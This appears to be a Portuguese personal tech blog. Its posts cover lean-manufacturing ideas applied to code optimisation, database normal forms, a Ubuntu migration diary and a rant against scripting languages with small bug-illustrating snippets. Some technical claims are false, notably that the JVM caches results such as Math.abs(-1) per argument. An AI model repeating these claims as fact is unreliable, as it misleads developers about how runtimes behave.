As desventuras de um casal nérdico
Hachihoku à Otimização de Código
25 janeiro 2010, por Edson, às 17:53

Toyota_AE86_Sprinter_TruenoA minha sogra tem hoje uma Ecosport e, pessoalmente, gosto muito mais da Eco que do que o Corolla que ela tinha.

Para quem não é entendido em carros não deve saber que o Corolla é um carro da Toyota. Sim, Corolla é um carro com excelente motor da Toyota e, inclusive, ele foi o substituto do Hashi-Roku.

Mas WF é Hashi-Roku??? Hashi-Roku significa AE86, um carro da Toyota (japonesa) que até virou mangá e anime (Initial-D) por conta do ótimo motor e da facilidade de modificá-lo. O Corolla chegou a ser o carro mais vendido no mundo. Mas nem sempre foi assim. Após a segunda guerra mundial, quem dominava o mercado era a Ford (americana) e eles faziam isso de modo fácil. A Ford comprava tudo, de aço ao volante, em toneladas, fabricava carros aos milhares e empurrava tudo aos americanos. A Toyota vivia num mundo bem diferente: em um país falido onde duas grandes bombas atômicas tinham explodido, um país que tinha perdido a guerra.

Então a Toyota decidiu comprar apenas o que precisava para fabricar os carros que seus clientes compravam, sem manter nada em estoque (just-in-time). Mas isso significava ter preços mais caros (pois todos sabem que comprar em quantidade reduz o preço). Desde modo, se a Toyota queria competir, ela precisava economizar e economizar significava, principalmente, evitar o desperdício.

Com isso, eles descobriram coisas que os americanos não sabiam. Descobriram, por exemplo, que “inspecionar seus produtos para encontrar erros” era desperdício. Um produto com defeito era um produto que ia pro lixo. Mas como fazer para manter a qualidade? O erro tinha que ser descoberto ANTES que o produto fosse feito, ou seja, era preciso impedir que o defeito ocorresse. Daí saiu o padrão “à prova de idiota”, ou seja, se antes tinha um parafuso que podia se encaixar em vários buracos (mas só um deles era o correto), fizeram o parafuso só  entrar em um buraco.

Outra coisa legal que descobriram é que otimizar parte do carro enquanto este era construído era desperdício também. Pois muitas vezes se otimizava achando que aquilo era importante e no final apenas piorava o projeto do carro, pois aquilo não era tão importante quanto se imaginava no começo. Logo, começaram a construir os carros e otimizar no final apenas as peças que realmente precisavam ser otimizadas.

E, olha que interessante, todos esses conceitos podem ser aplicados em construção de software!

Just-in-time

Clientes não querem projetos longos que levam seis meses, um ano para ficar prontos. Eles querem que a coisa seja feita exatamente no momento solicitado. E para este problema, metodologias como XP devem ser aplicadas (faço posteriormente um post apenas sobre isso).

À prova de idiotas

Para que testar teu software depois que você fez? E se você primeiro fizesse o teste e depois criasse o aplicativo?
- Mas se eu testar antes do aplicativo ficar pronto vai dar erro! – e vai, de fato. E é para dar mesmo! Mas o interessante é que somente depois que o teste está pronto é que você codifica o programa, aí à medida em que você constrói o programa, você vai usando o programa de testes para verificar se de fato funciona. Isso impede que você vá por um caminho muito errado, descobrindo o erro antes do programa estar pronto.

Otimizar o todo

Regra 1: Código enxuto e sem lixo

Regra 1: Código enxuto e sem lixo

Este era a principal razão deste post, e ela pode ser dividida em dois motivos:

Métodos Ágeis

Eu tive um curso de “Métodos Ágeis” na USP semana passada, em que muitas dessas coisas foram faladas. E eu sinceramente adorei o curso, pois vi que eram exatamente as conclusões a que eu estava chegando na prática, via tentativa e erro. Mas ali foram me passadas todas consolidadas, de uma vez e provavelmente para chegar nesse conhecimento eu ia levar mais dez anos batendo a cabeça.
Para quem quiser aprender algo sobre métodos ágeis eu recomendo muito o site da agilcoop.

Twitter

Eu estava conversando via twitter com um amigo (Maximus) e ele disse todo empolgado:
“Eureka! Descobri que se fizer (valor<0)?-valor:valor é mais rápido que fazer Math.abs(valor)”

E aí eu respondi que, na realidade, era a mesma coisa. Claro que tem diferença, mas era uma provocação intelectual =P. Acontece que a diferença é tão pequena que você pode arredondar para zero e, desta forma, mesmo que você use 1 milhão de vezes, 1kk vezes zero é zero.

Então ele me disse que testou e que em 6kk vezes ele tinha economizado 1 segundo e meio de processamento. Neste ponto eu larguei a conversa pois o twitter não é lugar pra discutir. Não, não estou dizendo que sou chato e estou reclamando de quem discute no twitter, não é isso. É que vocẽ só pode discutir algo no twitter se você conseguir provar sua teoria em 256 caracteres. Einstein jamais conseguiria por exemplo demonstrar sua teoria =D.

Ok, mas o que pode ser dito além disso? O seguinte:

Otimize se você realmente precisar!

Primeiro que, se o seu programa roda isso 6 milhões de vezes por segundo, por favor não use Math.abs. MESMO!
Mas acontece que a maioria dos programas não usa com essa frequência, e é muito mais fácil você cometer um erro de programação escrevendo (valor<0)?-valor:valor do que Math.abs(valor). Ou seja, você pode estar incluindo erros no seu código para otimizar algo que não precisa ser otimizado. Já dizia Tony Hoare “Premature optimization is the root of all evil” (Pré-otimização é a raiz de todo mal).

Não reinvente a roda…

Dentro da função Math.abs(valor) o que é feito é justamente (valor<0)?-valor:valor. Logo, o que você estaria economizando seria apenas o call da função. Ou seja, se é para economizar chamadas de função então uma linguagem orientada a objeto como java ou C# não são a opção correta para você. Escreva seu código todo em C e de preferência com “goto” sem função alguma. Pois, senão, toda função você terá esse tempo perdido que foi analisado ali em cima.

O Java é amigo do peito

Se você é javeiro, você tem menos motivos ainda para fazer essa otimização. Pois quando você faz chamadas à função no java, ele começa a criar cache de respostas para ficar mais otimizado (em tempo de execução). É o que torna aplicativos feitos em java mais rápidos até que em C quando o aplicativo fica longas horas ligado (como em servidores). Mas, para ele fazer isso, é necessário que você crie seu projeto com muitas funções e bem orientado a objetos. Desse modo, se o teu programa pergunta quanto é Math.abs(-1) muitas vezes, logo ele vai cachear a resposta de que Math.abs(-1) é igual a 1 e ele vai retornar 1 em vez de chamar a função. Ocasionando um ganho de tempo absurdo. Logo, use funções e deixe o java te ajudar a otimizar.

Use Profiles

Praticamente em todas as linguagens existem plugins ou programas que rodam o seu sistema e mede o tempo e quantidade de vezes que as funções são chamadas. Usando um programa assim, você chegará aos métodos que são gargalos no sistema e aí sim você deve otimizá-los.

Conclusão:

Muitos que cursaram Ciências da Computação ou graduações semelhantes devem ter topado com alguma matéria semelhante à Otimização de Código. Nessas matérias você consegue aprender a contar a grandeza da função, se ela é de ordem logarítima ou exponencial. Quando você estuda isso, tem facilidade maior de otimizar código onde realmente precise. Removendo fors que estão dentro de fors. Chamadas de banco dentro de loops, e coisas assim. Mas novamente, só faça isso se você usou um Profile e mediu que era este o seu gargalo.

Então espero que vocês tenham aprendido algumas coisas sobre Toyota, carros e otimização. E, principalmente, se eu fugir de uma discussão via Twitter, aguarde um post explicando o motivo =D.


Normalização em Banco de Dados
11 novembro 2009, por Edson, às 15:00

Introdução


Nos dias de hoje é praticamente impossível pensar num sistema grande sem pensar em banco de dados. Banco de Dados é o lugar onde se efetua a persistência das informações de modo a serem salvas e resgatadas quando necessário.
Porém você pode realizar isto de uma forma boa ou ruim e para isto foram criados definições de quão bem modelado está seu banco de dados. Lembrando apenas que, bem modelado não necessariamente vai ter uma boa performance.

Objetivo:

Sempre achei muito complicado a abordagem dos livros sobre banco de dados, abaixo tentarei abordar o tema com linguajar menos técnico e com exemplos práticos. Como tive que estudar normalização recentemente, vou explicar como você pode identificar e normalizar seu BD para pelo menos obedecer a 3ª Forma Normal, que geralmente é a que já tem um custo benefício bem proveitoso, a partir de uma tabela totalmente “zuada” incorreta até uma estrutura aceitável.

Não normalizado

Se falamos que vamos normalizar uma tabela, podemos começar por uma “tabela” não normalizada. E acreditem, todo profissional de TI vai encontrar situações como abaixo ao menos algumas vezes na vida.

Imagine um sistema onde os dados são guardados no formato texto da seguinte forma:

Figura-1

Como podem ver o nome da tabela não significa nada, o campo também não e dentro do campo todos os valores necessários estão na forma de texto.
Para piorar
Uma tabela assim (se é que pode se chamar de tabela), por vários motivos não está normalizada nem na forma normal 1.

1ª Forma Normal

O primeiro passo para colocar na forma normal, é criar uma tabela de verdade, com colunas e linhas. Veja abaixo:
2

Porém para estar na, 1ª Forma Normal, ainda é necessário não ter campos multi-valorados, ou seja, não pode ter um campo com vários valores (como ocorre com o campo notas). Para resolver isto deve-ser feito assim:
3

2ª Forma Normal

Para você ter uma tabela na 2ª FN obviamente ela precia estar pelo menos na 1ª FN. A partir daí você deve ter reparado que a tabela não tem apenas um assunto (entidade) mas dois (ou três), ela mistura tanto notas quanto alunos.
Para resolver isto precisamos criar uma segunda tabela e modificar a primeria. Veja abaixo:
4
5

Reparem que você ainda tem todos os dados, pois para saber de que aluno a nota pertence você percorre a outra tabela pelo código dele. De modo que a apesar de termos reduzido a chance de causar uma falha de integridade; e também termos reduzido drásticamente a quantidade de informação armazenada, todas as informações ainda foram preservadas.

3ª Forma Normal

Agora podemos ver que a estrutura já está bem melhor do que no início, mas ainda falta coisa a se fazer:
Para você ter uma tabela na 3ª FN você antes de mais nada tem que estar na 2ª forma normal. Além disto não pode ter campos que possam ser formado a partir dos demais cmapos já existentes (ou seja, campos calculados)pois a regra é de que campos calculados não sejam armazenados, pois se você alterar um campo estará comprometendo a integridade do 2o. Para tanto o campo Média deve ser excluído e a tabela de alunos deve então ficar da seguinte forma:
6

3ª Forma Normal Boiyce Code (BCNF)

Existe uma proposta de uma extensão da 3ªFN que é chamada de BCNF. Como se trata de uma extensão, para estar em BCNF precisa estar na 3ªFN (o oposto não é verdadeiro).
Imagine a situação que você tem a seguinte tabela (fora as que já usamos):
7

O primeiro campo é o código do aluno, o segundo é a versão da carteirinha (uma vez que o aluno pode gerar mais de uma carteirinha quando perde a anterior) e o terceiro campo é o código de acesso da catraca.

Se reparar os campos CodAluno e Acesso poderiam facilmente serem juntos a chave primária. Porém existe uma regra de negócio que, nunca terá duas versões de carteirinha para o mesmo aluno, pois ele sempre considera a última carteirinha como válida. Então temos uma situação de que um dos campos (versão da carteirinha) é dependente do código do aluno (uma das chaves) mas não de AcessoCatraca.

Sempre que um campo depende de uma das chaves mas não das demais ele falha na 3a FN BCNF. Para resolver esse problema podemos passar para a BCNF da seguinte maneira:
8
9

Reparem que o campo de versão da carteirinha passou para a tabela de aluno. Caso existissem outras informações sobre a carteirinha como data de expeidição, ela poderia então até ocupar uma tabela própria.

Conclusão:

Futuramente ainda falarei de outras FN, mas estas são as principais.
Como puderam ver quanto mais normalizado estiver seu database:
*menor será a chance dele ser comprometido por uma informação incorreta
*Mais otimizado para consultas e alterações ele será (ao menos até a 3ª FN esta afirmação é verdadeira)
*Além de economizar HD (ao menos até a 3ª FN esta afirmação é verdadeira).

A partir da 4ª FN começa a depender de quão otimizado é sua engine de banco de dados, e o ganho em Integridade Vs Trabalho começa a decair exponencialmente mas pretendo abordar futuramente todas as demais formas normais já identificadas.


Ubuntu – Livre da droga M$ há 51 dias, mas só por hoje
14 setembro 2009, por Edson, às 18:54

imagem_windows_vs_linuxA minha história com Linux é uma verdadeira novela, marcada por amor e ódio. Digna algumas vezes de Nelson Rodrigues e outras vezes lenta e demorada como uma história de Tolkien.

Eu sempre fui fã de software livre e já escrevi sobre isso. Aliás, quando escrevi sobre isso, comentei que após o Windows-XP original meu pifar, ao atualizar até o talo com Windows Update o teclado e mouse paravam de funcionar. Resolvi reinstalar o Windows-XP. Porém, impedido de atualizar tudo, acabei contraindo vírus ao comprar um Modem da Claro (outra hora comento sobre isto) e desta forma precisava formatar mais uma vez, não mais do que 30 dias da última instalação do Windows. Talvez tenha sido neste momento que eu decidi me rebelar. Botei o Ubuntu 9 (linux) e em bem menos tempo (levo aproximadamente 1 semana para instalar Windows, programas necessários e drivers), aproximadamente em 2 dias (isso sem experiência em Linux), eu já estava com meu ambiente pronto e isto de fato me conquistou. Mas não foi só isso e nem também só alegrias. Abaixo, mostro detalhadamente a minha experiência nesse combate e que servirá para outros usuários que queiram fazer ou passar por esta migração. Mas antes disso é bom ressaltar que esta foi finalmente minha primeira tentativa bem sucedida de migração, pois eu venho tentando a mesma coisa desde 98, porém sempre com olhos muito críticos. Eu jamais deixei instalado por muito tempo um Linux, e é a primeira vez que ele fica no meu computador sem ter uma versão do windows para fazer companhia.

Instalação

Ubuntu, uma opção elegante

Ubuntu, uma opção elegante

A instalação é provavelmente a melhor parte. Se você tem Windows você insere o CD do ubuntu e como se fosse um jogo ou outro programa qualquer ele instala num fácil NNF (next, next e finish). Ele não danifica o Windows e fica com duplo boot. E, se você não gostar, basta ir no painel de controle e desinstalar o Linux.

Agora se você quer instalar ele como único SO, basta por o cd antes de iniciar o PC. A instalação é bem mais fácil que a instalação do Windows XP, inclusive achei sensacional a possibilidade de você testar o teclado na hora de escolher a configuração. No Windows você escolhe o teclado tipo ABNT2 e não tem como saber se tá certo, pois não tem onde testar.

A instalação do Ubuntu não é apenas do SO. Ao contrário do Windows, ele já instala dois navegadores (inclusive o Firefox que uso muito), programa para ler email, dezenas de jogos, programa para mensagens automáticas (compatível com MSN, GMAIL e ICQ), java, e dezenas de coisas que no Windows eu precisaria instalar um a um. Além disso ele reconheceu praticamente todos meus componentes, me poupando de ter que buscar e instalar os drivers antes de usar como é o caso com o Windows XP. Para ser mais claro, no meu caso faltou apenas a impressora/scanner. Itens reconhecidos automaticamente: Placa de Som, Placa de Vídeo, Monitor, Placa de Rede com Fio, Placa de Rede sem fio, Teclado e Mouse além dos habituais HDs e outros acessórios que qualquer OS reconhece.

Instalação de Outros Softwares

Normalmente quando formato, eu busco a versão mais atualizada de cada software. Então por exemplo se vou instalar o Eclipse, no Windows sigo os seguintes passos:

  1. Abro o navegador.
  2. Vou no site do <a href=”http://www.google.com.br”>Google</a> e busco por “Eclipse”
  3. Entro no site do fabricante
  4. Baixo o arquivo, selecionando o lugar temporário para ele fazer download.
  5. Após terminado o download, eu descompacto o zip na pasta pretendida.

No Ubuntu:

  1. Abro o gerenciador de programas.
  2. Busco por “Eclipse”.
  3. Mando instalar.

E melhor, no mesmo gerenciador eu instalo 80 a 90% de todos os programas que preciso, além de ficar fuçando dezenas de outros programas que não conhecia.

Economia de recursos:

adicionar programas se tornou divertido

adicionar programas se tornou divertido

No Ubuntu os arquivos para instalar são extremamente mais leves, ocupam menos espaço no HD, menos memória (caiu de 2.5GB para 1GB) e CPU mais estável. O CPU é mais estável pois caiu de constantes picos de 100% para picos de 70%, embora a média seja mais alta (mas qualquer um que lide com hardware sabe que CPU é um problema apenas quando atinge os 100%, médias mais altas para picos menores é uma vantagem). Eu testemunhei estas três economias e não consegui entender os dois últimos mas o 1º eu sei o motivo após ter feito um google-fu básico:

Porque ele em vez de comer 60GB do meu HD estava ocupando modestos 30GBs? Para responder isso, precisamos entender como o Windows trabalha:

No Windows, ao instalar um programa, ele determina uma área no HD para depositar seus arquivos. Por exemplo, “Arquivos de Programas\Firefox”. Imagina que um destes arquivos se chama MozilaFuncions.dll e ele pese 50MB. Ai você instala outro programa do mesmo fabricante, o FileZila, e na pasta do mesmo, a exata mesma dll MozilaFuncions.dll está lá, ocupando mais 50MB de seu precioso HD. O problema não termina aí. Imagine agora que você instala também o GTalk, e como o Mozilla é free, o google usa algumas funções do Mozilla Fundation, então? Lá vem de novo a dll MozilaFunctions.dll. Acredite, isto ocorre o tempo todo!

Ok, e no Ubuntu? No Ubuntu se o Firefox utiliza esta dll, então ele cria um projeto chamado MozilaFunctions.dll e diz que o Firefox depende deste projeto. Então quando você manda instalar o Firefox, ele já seleciona a instalação do MozilaFuncions.dll. Quando você vai instalar o Filezila ou o Gtalk, eles também dizem ser dependentes deste projeto (mozilaFunctions) , porém eles vêem que já está instalado e não baixam este arquivo.

Ok, isto é ótimo, ocupa menos espaço de HD, certo? Sim, além de você não precisar gastar banda da tua internet baixando os mesmos arquivos, outra vantagem é na atualização. Se no windows a dll sofre alteração, em pouco tempo o Gtalk, FileZila e Firefox vão pedir para atualizar. No Ubuntu ele atualiza apenas a dll, uma única vez!

Tá! Lindo e maravilhoso mas e se o fabricante não seguir esta regra? Alguns poucos softwares não seguem mesmo esta regra, mas por conciência dos desenvolvedores a maior parte (esmagadora aliás) utiliza deste sistema para gerenciar suas dependências. Claro, os usuários agradecem.

Ah e quem for fazer o teste fica um conselho. Utilize o terminal e o comando top para determinar o uso do CPU. Usar interfaces gráficas consomem muito CPU no linux e seu teste vai ficar capenga. Mas se quiser usar, fique ciente disto. O Task Manaer do Windows no máximo usa 2% da CPU, já o que vem no Ubuntu é mais complexo (e também mais mal feito) e come consideráveis 15% de CPU e por este motivo prejudica o teste. Então se puder use mesmo o terminal.

Programas Embutidos

Ubuntu não vem só

Ubuntu não vem só

Alguns dos programas embutidos do Ubuntu são melhores que do Windows. Exemplos são o notepad, Firefox vs IE, sistema de email Evolution (apesar de não usar email client) vs o “bota fora” da MS. O Task Manager da MS, como disse, é muito mais leve que o do Ubuntu, embora o do Ubuntu seja bem mais completo o que me leva a dar um empate. Outro empate vai para o explorer vs nautilus pois o explorer é mais inteligente em algumas coisas porém o nautilus acessa quase todo tipo de protocolo (file system, ftp, ssh, etc) , além de que o nautilus trabalha em abas.

Problemas com Vídeo

Neste item o Ubuntu perde, ele tem um problema grave de restauração de vídeo. (Ocorre se vc acidentalmente usar um driver de outro fabricante. Para drivers do mesmo fabricante a recuperação costuma funcionar.)
Outro grande problema em vídeo é que o fabricante ATI costuma não dar suporte adequado para Ubuntu. Se você tem uma placa recente e moderna então você não tem problema mesmo se tiver uma placa ATI. Agora se a sua placa for ATI e ainda for antiga… Você será obrigado a utilizar um driver genérico que limita muito as funcionalidades 3D. Tudo porque o controlador gráfico Xorg do Ubuntu passou recentemente por uma reformulação tremenda e a ATI decidiu simplesmente não fazer novos drivers para as placas de vídeo. De qualquer jeito, isso não isenta o Ubuntu, afinal se não tem novos drivers por que foi substituido o xorg??? Não deveria ser opcional para usuários hardcores com placas sempre atualizadas? As vantagens ganharam da extrema desvantagem que os usuários receberam? Por este motivo acho que o ponto mais fraco do Ubuntu é a compatibilidade com placas de vídeo, e por mais que se diga que não é culpa do SO, é, pois se as placas novas e antigas funcionavam bem (por mais que não 100%) no ubuntu 8.10 não tinha motivos para mudar as regras do jogo no meio do campeonato.

Impressora

merdas acontecem

merdas acontecem

Outro problema, mas não tão grave é na impressora. Utilizo uma impressora chamada HP Laserjet 1020. É perfeita, foi reconhecida pelo SO, mas de vez em quando ela para de responder. Aí preciso ir no gerenciamento de impressoras e desabilitar e habilitar de novo e fica tudo bem. Erro bobo, mas digno de nota.

Sistema de Segurança do Linux

Imagine que você trabalha numa empresa onde caem pedras do alto do edifício o tempo todo, e as pedras são grandes o suficiente para te mandar pra UTI. Mas nada acontece se você utilizar um capacete.
A empresa exige que todos os funcionários usem um capacete para se prevenir e para tanto exigem que todos assinem um documento tirando a responsabilidade da empresa caso o funcionário desobedeça a regra de usar o capacete.

A princípio, parece que faz todo sentido, certo? Afinal, a empresa não pode se responsabilizar por um usuário desobediente que insiste em não utilizar o capacete. Mas esta é apenas a imagem que empresa vende. Aí você que é um funcionário da empresa, sabe como é por dentro.
Você não pode entrar com seu capacete, tem que usar o dado pela empresa. O capacete da empresa um dia vem feito isopor, qualquer coisa quebra. No segundo dia só vêm capacetes pequenos que não caberiam nem em uma criança. No terceiro dia o capacete não tem corda para amarrar debaixo do queixo, e só é possível usá-lo se você segurar ele o tempo todo. No quarto ….
Resulado, um dia todos decidem não usar capacete.
O linux parece esta empresa citada acima, ele tem uma seguança infalível, desde que você usuário jamais use o usuário root. Mas muitos programas só funcionam corretamente se você utilizar o root, muitas coisas só podem ser feitas usando o root, de modo que geralmente você ou loga usando o root ou está o tempo todo executando comandos como root.
O Eclipse foi minha maior decepção. Se você não usar o root ele não instala plugins, você não consegue selecionar o workspace inicial, entre outras coisas. Tornando a sua vida um inferno a menos que você se arrisque.

Codecs

Outro dia fui ver um filme, rodei e não tinha plugin. Primeira coisa que me passou na cabeça foi “porque diabos inventaram a porra de codecs?” A segunda coisa foi “como vou achar este codec?”. A terceira foi “caralho, meu SO agora é linux, como vou fazer para instalar plugin, ainda por cima para linux?” . A quarta …. Apenas a última coisa que me passou pela cabeça foi apertar naquele botão piscante “procurar por plugins na web”. Isso porque no Windows isso NUNCA funciona. No Ubuntu a única vez que não funcionou foi quando abri um filme específico pra Windows Media Player (um doce para quem adivinhar o motivo hehe).
Concluindo, este foi um ponto positivo para o Ubuntu.

Gerenciador Padrão de Arquivos

Um ponto negativo no Ubuntu é até idiota, não sei porque não melhoraram ainda. Ao copiar ou colar arquivos no nautilus, ele ignora atalhos (CTRL+C ou CTRL+X) se você apertar o atalho e sair da pasta muito rápido. No Windows, a prioridade de respeito a CTRL+C e CTRL+V é máxima, dando a impressão que o SO que controla isto e não o aplicativo. No Ubuntu se o aplicativo estiver ocupado, provavelmente a sua cópia de arquivos não funcionará.
Outra coisa que notei é que não funciona Control+Z no nautilus! Ele até tem a lixeira, mas se você excluir algo ele não retorna automaticamente se você apertar CTRL+Z e nem tem a opção voltar em menu algum. O jeito é ir até a lixeira e restaurar os arquivos apagados por lá (por isso é bom que sua lixeira não esteja muito cheia ^^)

Outro detalhe negativo do Ubuntu neste sentido é que quando você vai Abrir um arquivo ou Salvar Como, o mini-gerenciador que abre para manipular os diretórios e arquivos não tem a opção de explorar e salvar como, também não se pode renomear e outras coisas triviais no Windows.

E um bug! Quando abre a tela de abrir diretório, se você digita o caminho lá em cima e dá enter, ele mostra como se tivesse aberto o caminho com sucesso mas ele continua abrindo o caminho default. Para testar este bug aperte print screen, depois selecione Outra Pasta como destino, por último digite em cima um caminho válido diferente do default e aperte ok. Na tela seguinte o caminho que você digitou estará selecionado, porém ao dar ok novamente para confirmar ele salva no caminho default. Este bug induz seriamente o usuário ao erro e pode ocasionar dele perder algum arquivo. Principalmente se ele fizer isso e por algum motivo em seguida deletar o caminho default. Ou em caso de usuários mais inexperientes fazer eles perderem o documento simplesmente por não acharem e não entenderem o que ocorreu.

Um segundo bug ocorre no Nautilus, um erro que tem que reiniciar o SO para resolver. Ocorre que pseudo protocolos como trash e sftp passam a ser ignorados pelo gerenciador. Este erro, que ocorre comigo de tempos em tempos, é descrito em under-linux.

Suporte a Legados

Uma das coisas que o Ubuntu peca é em suporte para legados. Foi assim com placa de vídeo e foi assim com meu scanner. O scanner eu consegui instalar seguindo estas dicas mas a solução não foi perfeita (assim com não foi a de vídeo).

Calculadora

Calculadora é um show a parte. Além da versão simples e da científica tem a Avançada, Programável e Financeira.

Firefox

Esta é uma crítica bem maior ao Firefox do que ao Ubuntu. A comunidade do Firefox adora dizer que seu navegador é mais seguro do que o IE principalmente por soltarem diversas atualizações e atualizações de segurança quase diárias. Mas a história muda de figura no Ubuntu. Estou utilizando a versão 3.5.2 neste momento mas até semana passada eu usava a versão 3.0 (para windows tem a 3.5 há muito tempo). Simplesmente porque a atualização automática do firefox ou a atualização automática do SO não atualiza o firefox. Existe uma versão no sitem do Ubuntuzila que instala a última versão, mas até a semana passada como comentei para mim ainda não resolvia, ele não aceitava meus plugins. De qualquer maneira se alguém não quiser esquentar a cabeça, o mais fácil é aguardar até a próxima versão do Ubuntu prevista para outubro e que deve trazer o Fx 3.5 já instalado =)

Outros:

  • No Windows se você pressiona a tecla “^” duas vezes depois de um espaço, ele automaticamente entende que você deseja usar o símbolo e não acentuar nada. E logo ele coloca ^^ para você. No Linux ele é meio burrinho, você precisa digitar quatro vezes para aparecer este símbolo.
  • Não existem substitutos para o Tortoise, todos os programas svn são de longe piores que o tortoise.
  • E claro, o pingüin é bonito pacas!

Conclusão:

Eu gosto de softwares livres, o Windows XP mesmo sendo pago e original apresentava diversas falhas que me causavam bastante trabalho, o Windows Vista é pesado e torra muitos recursos (dos quais eu não tenho), não tive muita opção senão, após pesar na balança me converter ao charme do pingüim. ^^

Outras Opiniões:

Migrei para o Ubuntu


Bons programadores não programam em Python… nem em Ruby, nem em PHP, nem em JavaScript, nem em…
9 setembro 2009, por Edson, às 17:20
1
2
3
4
5
#PHP VS  JAVA
//JAVA VS PYTHON
/*C++ VS JAVA*/
'JAVA VS .NET
out.println("EU NAO SEI PROGRAMAR NADA!");

Eu tenho um amigo que é apaixonado por Python. Ele é muito gente boa e muito querido por mim e pela minha esposa e até é importante nos meios da comunidade Python. Mas se fosse apenas por ser nerd e gostar de Python provavelmente ele não me chamaria a atenção. Fato que gosto de conversar com ele e sua esposa sobre política, sobre economia, sobre trabalho e principalmente tudo sobre jogos. Jogos, sim, claro, ele é amante de jogos de tabuleiro e tem na casa dele uma estante recheada de jogos importados, uma pessoa destas pode ser uma má pessoa? A resposta é não =)

Mas voltando ao assunto original, ele defende muito Python e por 3X eu tentei aprender esta linguagem por conta das alfinetadas que ele dá. Mas não dá, simplesmente não dá. Não desce. Certa vez ele disse que foi a 1ª linguagem que aprendi foi Java e por isto eu não gosto de Python. Errado. A primeria linguagem que aprendi foi linguagem BAT do MS-DOS, depois foi Visual Basic, VBA, C++ e só então Java.

Então em outro momento ele disse “ah mas foi porque foi a última e você não teve mais paciência para aprender outras linguagens”. Errado também! Depois de Java eu ainda aprendi C#, PHP, lotus script e cold fusion. E coloco o Python em igualdade do cold-fusion em linguagens que não me descem a garganta.

Sei que vai ter muitos trolls que vão vir aqui pra me encher o saco, mas foda-se. Odeio Python. Se preciso, dou suporte (como já cansei de dar suporte na comunidade de L2J).

Aliás bem lembrado, a comunidade L2J começou a fazer scripts para quests em Python e terminou que ninguém conseguia dar suporte neles de tão mal escritos e confusos. Resultado? Todo script novo agora é em Java e muitos dos antigos foram convertidos para Java. Se Python fosse bom e fácil aparecia gente interessada em dar suporte. E até hoje tem vários scripts bugados em python no L2J que de tempos em tempos um programador Java refaz o código, pois os programadores de python mexem, mexem e a coisa toda continua porca. (para quem não sabe L2J é um projeto open source).

Mas ok, quais os argumentos? Dizer que uma comunidade migrou de python para java não é argumento, pois outras comunidades podem ter feito o contrário. Também não se pode jogar que linguagens scripts não são sérias devido apenas python. Tem o PHP por exemplo. Então vamos à eles:

Abertura de Código:

Linguagens scripts exigem que o código seja aberto, afinal se não for aberto e sim compilado deixa de ser scripts. Muitas vezes ser aberto inviabiliza modelos de negócios. Exemplo que posso citar são jogos. Muitos jogos sobrevivem com o fechamento do código, seja para impedir que o jogador roube (em modo multiplayer) ou para impedir que o jogo seja alterado (devido a direito autorais).
Outra situação é quando o cliente não confia onde vai ficar o código, afinal, nem sempre o código fonte fica onde o cliente confia. Então bibliotecas de conexões a bancos são criadas para que ninguém enxergue senhas e dados mais pessoais. Esta não é a saída mais elegante mas é a mais aceita se visualizar a quantidade de projetos onde o segredo fica oculto na forma de linguagem de máquina, para projetos baratos as vezes é o suficiente.
Claro que existem outras situações onde manter o código compilado seja o ideal, como manter segredos de algorítimos complexos que levaram anos de pesquisa etc., mas queria apenas demonstrar que existem motivos. Mesmo que existam formas caras de contorná-los eles não deixam de ser motivos.

Variáveis:

Para mim, linguagens sérias exigem que seja declarado variáveis. No PHP você não é obrigado a declarar a variável e nem recebe um erro caso ela seja usada e ainda esteja nula. Da mesma forma no JavaScript (embora em casos raros ele reclame). Situações como estas podem levar o programador ao seguinte erro:

1
2
3
4
5
6
7
adminCount = getAdminCount();
(...)
if(admCount <  0)
{
   //remove deslogados
   admCount =  admCount - getAdminLogoutCount();
}

No exemplo acima, ele inicia a variável adminCount com a quantidade de administradors logados, e por um erro de digitação ele jamais entra no if onde atualizaria a variável que conta admins logados. Outro exemplo ainda pior é:

1
2
3
4
5
if(noHaveAdminAces &lt;  1)
{
	//habilita acesso de admin, pois não foi bloqueado o acesso de admin
        (...)
}

No exemplo acima, um código pode levar a liberar acessos proibitivos no sistema, apenas porque a variável foi iniciada erradamente com zero. Outros erros podem fazer o programador perder horas valiosas do dia dele tentando descobrir a encrenca. Alguns scripts trazem a possibilidade de configurar isto, mas se o padrão é permissivo já é um erro! Por quê? Porque você depende da boa fé de que o servidor vai ter esta possibilidade de configuração, coisa que qualquer programador sabe que não funciona bem assim.

No Python (e acredito que em Ruby) e em outras linguagens mais novas, eles pegam um terceiro caminho. Você não é obrigado a declarar, mas é obrigado a dar um valor para ela antes de acessá-la. Resolve metade dos problemas, mas ainda leva os programadores ao erro. Esta situação pode levar a seguinte encrenca:

1
2
3
4
5
6
7
8
9
10
11
12
13
noHaveAdminAccess = 0; //tem acesso de admin
(...)
 
if(userBanned ==1)
{
   noHaveAdminAces = 1; //usuario banido remove o acesso de admin
}
(...)
if(noHaveAdminAccess <  1)
{
	//habilita acesso de admin, pois não foi bloqueado o acesso de admin
        (...)
}

Se reparar, inicialmente o usuário tem acesso de admin. Por conta de um erro, quando o usuário tem o status banido ele não remove o acesso de admin, no lugar disso ele cria uma nova variável com valor 1, valor que jamais vai ser lido (ou até pode ser lido se o erro ocorrer em outros lugares), causando uma tremenda falha de segurança e confusão.

São exemplos bestas, que criei de cabeça mas já passei por alguns casos, já tive que corrigir muita cagada em scripts por conta destas falhas de linguagem e me aborrece muito quando alguém vem defender linguagens scripts contra linguagens robustas como C, C++, Java e C#. Ai você pode dizer “Ah mas se programar direito não acontece isto!”, ok mas se a linguagem favorece programadores preguiçosos, que tipo de código você acha que vai cair nas tuas mãos pra arrumar?

Blocos de comandos não obrigatórios

Linguagens scripts costumam ignorar o fechamento de blocos, no caso de JScript e PHP se não me engano ambos permitem ignorar os últimos “fechas” de bloco. Tornando assim um perigo, pois se existe a falta de “}” nada garante que não esteja faltando mais coisas, ou elas não estejam tremendamente erradas.
Novamente o Python pega um terceiro caminho, no entanto outra vez ele só cria um novo caminho que na minha opinião mais atrapalha que ajuda. Para definir blocos ele usa apenas identação. Soa lindo na teoria mas uma merda na prática pois na teoria visualmente teria o mesmo efeito, um código:

1
2
3
4
if(cont==1)
{
   (...)bloco de comandos
}

seria aceito em linguagens que exigem apenas identação, ficando apenas assim:

1
2
if(cont==1)
   (...)bloco de comandos

Parece ótimo não precisar digitar os braços (ô preguiça) mas eu (opinião pessoal minha), acho extremamente deselegante depender do editor de texto, espaços e tabs pra marcar algo tão sólido como um bloco de códigos numa estrutura condicional.

Aliás da mesma maneira ele não tem terminador de linha “;” por exemplo, mas ai acho que a quebra de linha cumpre bem o papel visual.

Tipologia

